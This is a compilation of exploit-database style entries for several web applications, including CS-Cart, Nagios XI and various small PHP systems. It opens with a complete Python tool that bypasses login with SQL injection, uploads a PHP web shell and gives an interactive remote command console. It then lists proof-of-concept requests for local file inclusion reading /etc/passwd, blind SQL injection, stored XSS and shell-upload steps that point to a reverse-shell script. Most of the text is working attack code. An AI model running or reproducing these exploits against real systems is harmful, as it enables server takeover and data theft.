Domain = ""
RandomFileName = get_random_string(5)+".php"
def Help():
print("[?] Usage: python AporlorRCE.py <Domain>")

def Upload():
burp0_url = Domain+"/admin/ajax.php?action=save_category"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0)
Gecko/20100101 Firefox/68.0", "Accept": "*/*", "Accept-Language":
"tr,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "
http://192.168.1.104/admin/index.php?page=categories", "X-Requested-With":
"XMLHttpRequest", "Content-Type": "multipart/form-data;
boundary=---------------------------11915271121184037197158049421",
"Connection": "close"}
burp0_data = "-----------------------------11915271121184037197158049421\r\nContent-Disposition:
form-data; name=\"id\"\r\n\r\n\r\n
-----------------------------11915271121184037197158049421\r\nContent-Disposition:
form-data; name=\"name\"\r\n\r\n1\r\n
-----------------------------11915271121184037197158049421\r\nContent-Disposition:
form-data; name=\"price\"\r\n\r\n1\r\n
-----------------------------11915271121184037197158049421\r\nContent-Disposition:
form-data; name=\"img\"; filename=\""+RandomFileName+"\"\r\nContent-Type:
application/x-php\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n
-----------------------------11915271121184037197158049421--\r\n"
try:
Resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
if Resp.text == "1":
print("[+] Shell Upload Success")
else:
print("[-] Shell Upload Failed")
except:
print("[-] Request Failed")
Help()

def Login():
burp0_url = Domain+"/admin/ajax.php?action=login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0)
Gecko/20100101 Firefox/68.0", "Accept": "*/*", "Accept-Language":
"tr,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "
http://localhost/fos/admin/login.php", "Content-Type":
"application/x-www-form-urlencoded;
charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}
burp0_data = {"username": "' OR 1=1 #", "password": "' OR 1=1 #"}
try:
Resp = session.post(burp0_url, headers=burp0_headers,data=burp0_data)
if Resp.text == "1":
print("[+] Login Success")
else:
print("[+] Login Failed")
except:
print("[-] Request Failed")
Help()

def FoundMyRCE():
global FileName
burp0_url = Domain+"/admin/index.php?page=categories"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0)
Gecko/20100101 Firefox/68.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "tr,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip,
deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
try:
Resp = session.get(burp0_url, headers=burp0_headers)
Soup = BeautifulSoup(Resp.text, "html5lib")
Data = Soup.find_all("img")
for MyRCE in Data:
if RandomFileName in MyRCE["src"]:
FileName = MyRCE["src"].strip("../assets/img/")
print("[+] Found File Name: " + MyRCE["src"].strip("../assets/img/"))
except:
print("[-] Request Failed")
Help()

def Terminal():
while True:
Command = input("Console: ")
burp0_url = Domain+"/assets/img/"+FileName+"?cmd="+Command
try:
Resp = session.get(burp0_url)
print(Resp.text)
except KeyboardInterrupt:
print("[+] KeyboardInterrupt Stop, Thanks For Use Aporlorxl23")
except:
print("[-] Request Error")
if __name__ == "__main__":
if len(sys.argv) == 2:
Domain = sys.argv[1]
Login()
Upload()
FoundMyRCE()
Terminal()
else:
Help()
HireHackking 
# Exploit Title: CS-Cart unauthenticated LFI
# Date: 2020-09-22
# Exploit Author:  0xmmnbassel
# Vendor Homepage: https://www.cs-cart.com/e-commerce-platform.html
# Tested at: ver. 1.3.4
# Vulnerability Type: unauthenticated LFI


http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts]%00
example: 
http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00
http://www.site.com/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00
HireHackking 
# Title: Seat Reservation System 1.0 - Unauthenticated SQL Injection
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25762
# Description

The file admin_class.php does not perform input validation on the username and password parameters. An attacker can send malicious input in the post request to /admin/ajax.php?action=login and bypass authentication, extract sensitive information etc.

#POC

1) Navigate to the admin login page

Example:

http://192.168.1.72/seat_reservation/admin/login.php

2) Fill in dummy values for 'username' and 'password' fields and send the request via an HTTP intercept tool

3) Save the request to file. Example, seat_reservation_sqli.req

POST /seat_reservation/admin/ajax.php?action=login HTTP/1.1
Host: 192.168.1.72
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://192.168.1.72
DNT: 1
Connection: close

username=admin&password=dummy

4) Run SQLmap on the file,

sqlmap -r seat_reservation_sqli.req --dbms=mysql --threads=10
HireHackking 
# Exploit Title: CS-Cart authenticated RCE
# Date: 2020-09-22
# Exploit Author:  0xmmnbassel
# Vendor Homepage: https://www.cs-cart.com/e-commerce-platform.html
# Tested at: ver. 1.3.3
# Vulnerability Type: authenticated RCE



get PHP shells from
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
edit IP && PORT
Upload to file manager
change the extension from .php to .phtml
visit http://[victim]/skins/shell.phtml --> Profit. ...!
HireHackking 
#Exploit Title: Tourism Management System 1.0 - Arbitrary File Upload
#Date: 2020-10-19
#Exploit Author: Ankita Pal & Saurav Shukla
#Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/
#Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7204
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the affected URL http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php

Step 2: Open Tour Package -> Create

Malicious Request:::

POST /Tourism%20Management%20System%20-TMS/tms/admin/create-package.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------63824304340061635682865592713
Content-Length: 1101
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
Upgrade-Insecure-Requests: 1

-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagename"

Pack1
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagetype"

Family
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagelocation"

Manali
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packageprice"

21
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagefeatures"

Free
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagedetails"

Details
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packageimage"; filename="file1.php"
Content-Type: application/octet-stream

<?php
	phpinfo();
?>
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="submit"


-----------------------------63824304340061635682865592713--
HireHackking 
# Exploit Title: Nagios XI 5.7.3 - 'Manage Users' Authenticated SQL Injection
# Date: 10-18-2020
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
# Software Link: https://www.nagios.com/downloads/nagios-xi/
# Version: Nagios XI 5.7.3
# Tested on: Ubuntu 18.04


# Vulnerability Details
# Description : A blind SQL injection vulnerability exists in the "Manage Users" functionality of the Core Config Manager of Nagios XI.
# Vulnerable Parameter : id


# POC

POST /nagiosxi/includes/components/ccm/index.php?type=user&page=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://TARGET/nagiosxi/includes/components/ccm/index.php?cmd=modify&type=user&id=2&page=1&returnUrl=index.php%3Fcmd%3Dadmin%26type%3Duser%26page%3D1
Cookie: nagiosxi=a354rem56a8aoeieqr9k2le39i
Content-Type: application/x-www-form-urlencoded
Content-Length: 338

username=test&alias=test&password=password&confirm=password&active=1&id=2+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))A)&cmd=admin&mode=modify&hidId=2&hidName=&hidServiceDescription=&hostAddress=127.0.0.1&exactType=user&type=user&genericType=user&returnUrl=index.php%3Fcmd%3Dadmin%26type%3Duser%26page%3D1&token=991611d98c6c8ea7d32c54522b346448
HireHackking 
# Exploit Title: Nagios XI 5.7.3 - 'Contact Templates' Persistent Cross-Site Scripting
# Date: 10-18-2020
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
# Software Link: https://www.nagios.com/downloads/nagios-xi/
# Version: Nagios XI 5.7.3
# Tested on: Ubuntu 18.04


# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists in the "Contact Templates" functionality of the Core Config Manager of Nagios XI.
# Vulnerable Parameter : tfName


# POC
# Exploit Details : The following request will create a contact template with an XSS payload as the contact template name. Click on "Relationships" for the malicious template to trigger the payload.


POST /nagiosxi/includes/components/ccm/index.php?type=contacttemplate&page=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 642
Origin: http://TARGET
Connection: close
Referer: http://TARGET/nagiosxi/includes/components/ccm/index.php?cmd=modify&type=contacttemplate&id=7&page=1&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcontacttemplate%26page%3D1
Cookie: nagiosxi=a354rem56a8aoeieqr9k2le39i
Upgrade-Insecure-Requests: 1

tfName=<img+src=a+onerror=alert(1)>&tfFriendly=&tfEmail=&tfPager=&Active=1&tfAddress1=&tfAddress2=&tfAddress3=&tfAddress4=&tfAddress5=&tfAddress6=&radHostNotifEnabled=2&selHostPeriod=0&radStatusInfos=2&radNoStatusInfos=2&radServiceNotifEnabled=2&selServicePeriod=0&radCanSubCmds=2&radContactgroup=2&radServicecommand=2&radHostcommand=2&txtVariablename=&txtVariablevalue=&cmd=submit&mode=modify&hidId=7&hidName=test&hidServiceDescription=&hostAddress=127.0.0.1&exactType=contacttemplate&type=contacttemplate&genericType=contacttemplate&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcontacttemplate%26page%3D1&token=3b8273eea1213ac4d2c1f3da1b0c370d
HireHackking 
# Exploit Title: Nagios XI 5.7.3 - 'SNMP Trap Interface' Authenticated SQL Injection
# Date: 10-18-2020
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
# Software Link: https://www.nagios.com/downloads/nagios-xi/
# Version: Nagios XI 5.7.3
# Tested on: Ubuntu 18.04


# Vulnerability Details
# Description : A blind SQL injection vulnerability exists in the "Add a Trap Definition" functionality of the SNMP Trap Interface of Nagios XI.
# Vulnerable Parameter : id


# POC

GET /nagiosxi/includes/components/nxti/index.php?event=test&oid=123&category=test&severity=test&desc=%3C%3E&format=&id=&SNMPTW%5Bhost%5D=&SNMPTW%5Bservice%5D=&SNMPTW%5Bseverity%5D=%24s&SNMPTW%5Boutput%5D=&exec%5B%5D=&raw-data=&mode=save&new=0&tab=3&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a) HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://TARGET/nagiosxi/includes/components/nxti/index.php
Cookie: nagiosxi=a354rem56a8aoeieqr9k2le39i
HireHackking 
# Exploit Title: Online Discussion Forum Site 1.0 - XSS in Messaging System
# Google Dork: N/A
# Date: 2020-10-17
# Exploit Author: j5oh
# Vendor Homepage: https://www.sourcecodester.com/php/14233/online-discussion-forum-site.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14233&title=Online+Discussion+Forum+Site
# Version: 1.0 (REQUIRED)
# Tested on: Windows 10 / Wamp Server
# CVE : N/A

The messaging subsystem in the Online Discussion Forum is vulnerable to XSS in the message body. This will execute when viewing the messages page: http://localhost/Online%20Discussion%20Forum%20Site/messages.php.

XSS can be done through the messaging interface, go to http://localhos/Online%20Discussion%20Forum%20Site/messages.php, select 'Send New Message', search for the user to send the message to, click the 'Send Message' button next to the user, and add the javascript in the message body. Alternatively, if you know the user id you can just send the message directly thought the tt parameter of http://localhost/Online%20Discussion%20Forum%20Site/messageH.php.

# PoC:

curl -d 'uto=1&tt=<script> alert("XSS"); </script>' -b "PHPSESSID=798bkt3dkvoczjp7arnco3jf0c"  http://localhost/Online%20Discussion%20Forum%20Site/messageH.php
HireHackking 
# Exploit Title: Online Student's Management System 1.0 - Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020/10/18
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://www.sourcecodester.com/php/14490/online-students-management-system-php-full-source-code-2020.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/studentrecord_0.zip
# Version: 1.0
# Tested on: XAMPP 
# CVE : N/A

Proof of Concept:

1 - Go to http://localhost/studentrecord/ url, click "click here to sign in" text and login with the 070101:070101 information. 

2 - Then go to http: //localhost/studentrecord/my-profile.php and upload your shell file from the upload new photo section and click the update button.

3 - Finally, open your shell in http://localhost/studentrecord/staffphoto/shell.php